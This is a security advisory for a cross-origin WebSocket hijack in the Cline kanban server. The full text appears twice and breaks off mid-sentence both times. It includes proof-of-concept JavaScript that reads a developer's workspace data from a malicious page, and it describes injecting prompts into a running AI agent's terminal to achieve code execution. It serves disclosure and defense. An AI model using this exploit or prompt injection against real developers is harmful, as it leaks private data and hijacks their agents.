CVE-2026-44211

Cline is an autonomous coding agent as an SDK, IDE extension, or CLI assistant. In versions 2.13.0 and prior, there is a cross-origin WebSocket hijack vulnerability in Cline Kanban servers. At time of publication, there are no publicly available patches.

Cline is an autonomous coding agent as an SDK, IDE extension, or CLI assistant. In versions 2.13.0 and prior, there is a cross-origin WebSocket hijack vulnerability in Cline Kanban servers. At time of publication, there are no publicly available patches.

Summary

The kanban npm package (used by the cline CLI) starts a WebSocket server on 127.0.0.1:3484 with no Origin header validation. Any website a developer visits can silently connect to the kanban server via WebSocket and:

1. Leak sensitive data in real-time: workspace filesystem paths, task titles/descriptions, git branch info, AI agent chat messages
2. Hijack running AI agent terminals by injecting arbitrary prompts into the agent's input, leading to remote code execution
3. Kill running agent tasks by terminating active sessions via the control WebSocket

WebSocket connections are not subject to CORS restrictions. The browser sends them freely to localhost regardless of the page's origin. The kanban server accepts all connections without checking the Origin header.

Affected Component

• Package: kanban on npm (https://www.npmjs.com/package/kanban)
• Repository: https://github.com/cline/kanban
• Tested version: 0.1.59
• Installed via: cline CLI (cline --kanban or default cline command)
• Endpoints: ws://127.0.0.1:3484/api/runtime/ws, ws://127.0.0.1:3484/api/terminal/io, ws://127.0.0.1:3484/api/terminal/control

Root Cause

Three WebSocket endpoints are exposed without authentication or Origin validation.

1. Runtime state stream (no Origin check on upgrade)

server.on("upgrade", (request, socket, head) => {
    if (normalizeRequestPath(requestUrl.pathname) !== "/api/runtime/ws") {
        return;
    }
    // No Origin header validation. Any website can connect.
    deps.runtimeStateHub.handleUpgrade(request, socket, head, { requestedWorkspaceId });
});

On connection, the server immediately sends a full snapshot of the developer's workspace:

sendRuntimeStateMessage(client, {
    type: "snapshot",
    currentProjectId: projectsPayload.currentProjectId,
    projects: projectsPayload.projects,       // filesystem paths
    workspaceState,                            // tasks, git info, board
    workspaceMetadata,                         // git summary
    clineSessionContextVersion
});

2. Terminal I/O (raw bytes written to agent terminal, no auth)

ioServer.on("connection", (ws, context2) => {
    ws.on("message", (rawMessage) => {
        // Attacker's bytes written directly to the agent PTY
        terminalManager.writeInput(taskId, rawDataToBuffer(rawMessage));
    });
});

3. Terminal control (can kill tasks, no auth)

controlServer.on("connection", (ws, context2) => {
    ws.on("message", (rawMessage) => {
        const message = parseWebSocketPayload(rawMessage);
        if (message.type === "stop") {
            terminalManager.stopTaskSession(taskId);
        }
    });
});

Exploitation

Step 1: Cross-Origin Info Leak

From any website, JavaScript connects to the runtime WebSocket. No CORS applies:

// Run this on https://example.com. It connects to the victim's local kanban.
const ws = new WebSocket("ws://127.0.0.1:3484/api/runtime/ws");
ws.onmessage = (e) => {
    const m = JSON.parse(e.data);
    // Immediately leaked:
    console.log(m.workspaceState?.repoPath);         // "/Users/victim/Projects/secret-project"
    console.log(m.workspaceState?.git?.currentBranch); // "feature/unreleased-product"
    // Task titles and descriptions:
    m.workspaceState?.board?.columns?.forEach(col =>
        col.cards?.forEach(card =>
            console.log(card.id, card.title, card.prompt)
        )
    );
};

The WebSocket also streams live updates as the developer works: task state changes, AI agent chat messages, git activity, all in real-time.

Step 2: Detect Running Agent Session

The runtime WebSocket broadcasts task_sessions_updated messages when an AI agent is active:

// msg.type === "task_sessions_updated"
// msg.summaries === [{ taskId: "abc12", state: "running", workspaceId: "myproject", pid: 12345 }]

Step 3: Terminal Hijack into RCE

When a…

Cline is an autonomous coding agent as an SDK, IDE extension, or CLI assistant. In versions 2.13.0 and prior, there is a cross-origin WebSocket hijack vulnerability in Cline Kanban servers. At time of publication, there are no publicly available patches.

Cline is an autonomous coding agent as an SDK, IDE extension, or CLI assistant. In versions 2.13.0 and prior, there is a cross-origin WebSocket hijack vulnerability in Cline Kanban servers. At time of publication, there are no publicly available patches.

Summary

The kanban npm package (used by the cline CLI) starts a WebSocket server on 127.0.0.1:3484 with no Origin header validation. Any website a developer visits can silently connect to the kanban server via WebSocket and:

1. Leak sensitive data in real-time: workspace filesystem paths, task titles/descriptions, git branch info, AI agent chat messages
2. Hijack running AI agent terminals by injecting arbitrary prompts into the agent's input, leading to remote code execution
3. Kill running agent tasks by terminating active sessions via the control WebSocket

WebSocket connections are not subject to CORS restrictions. The browser sends them freely to localhost regardless of the page's origin. The kanban server accepts all connections without checking the Origin header.

Affected Component

• Package: kanban on npm (https://www.npmjs.com/package/kanban)
• Repository: https://github.com/cline/kanban
• Tested version: 0.1.59
• Installed via: cline CLI (cline --kanban or default cline command)
• Endpoints: ws://127.0.0.1:3484/api/runtime/ws, ws://127.0.0.1:3484/api/terminal/io, ws://127.0.0.1:3484/api/terminal/control

Root Cause

Three WebSocket endpoints are exposed without authentication or Origin validation.

1. Runtime state stream (no Origin check on upgrade)

server.on("upgrade", (request, socket, head) => {
    if (normalizeRequestPath(requestUrl.pathname) !== "/api/runtime/ws") {
        return;
    }
    // No Origin header validation. Any website can connect.
    deps.runtimeStateHub.handleUpgrade(request, socket, head, { requestedWorkspaceId });
});

On connection, the server immediately sends a full snapshot of the developer's workspace:

sendRuntimeStateMessage(client, {
    type: "snapshot",
    currentProjectId: projectsPayload.currentProjectId,
    projects: projectsPayload.projects,       // filesystem paths
    workspaceState,                            // tasks, git info, board
    workspaceMetadata,                         // git summary
    clineSessionContextVersion
});

2. Terminal I/O (raw bytes written to agent terminal, no auth)

ioServer.on("connection", (ws, context2) => {
    ws.on("message", (rawMessage) => {
        // Attacker's bytes written directly to the agent PTY
        terminalManager.writeInput(taskId, rawDataToBuffer(rawMessage));
    });
});

3. Terminal control (can kill tasks, no auth)

controlServer.on("connection", (ws, context2) => {
    ws.on("message", (rawMessage) => {
        const message = parseWebSocketPayload(rawMessage);
        if (message.type === "stop") {
            terminalManager.stopTaskSession(taskId);
        }
    });
});

Exploitation

Step 1: Cross-Origin Info Leak

From any website, JavaScript connects to the runtime WebSocket. No CORS applies:

// Run this on https://example.com. It connects to the victim's local kanban.
const ws = new WebSocket("ws://127.0.0.1:3484/api/runtime/ws");
ws.onmessage = (e) => {
    const m = JSON.parse(e.data);
    // Immediately leaked:
    console.log(m.workspaceState?.repoPath);         // "/Users/victim/Projects/secret-project"
    console.log(m.workspaceState?.git?.currentBranch); // "feature/unreleased-product"
    // Task titles and descriptions:
    m.workspaceState?.board?.columns?.forEach(col =>
        col.cards?.forEach(card =>
            console.log(card.id, card.title, card.prompt)
        )
    );
};

The WebSocket also streams live updates as the developer works: task state changes, AI agent chat messages, git activity, all in real-time.

Step 2: Detect Running Agent Session

The runtime WebSocket broadcasts task_sessions_updated messages when an AI agent is active:

// msg.type === "task_sessions_updated"
// msg.summaries === [{ taskId: "abc12", state: "running", workspaceId: "myproject", pid: 12345 }]

Step 3: Terminal Hijack into RCE

When a…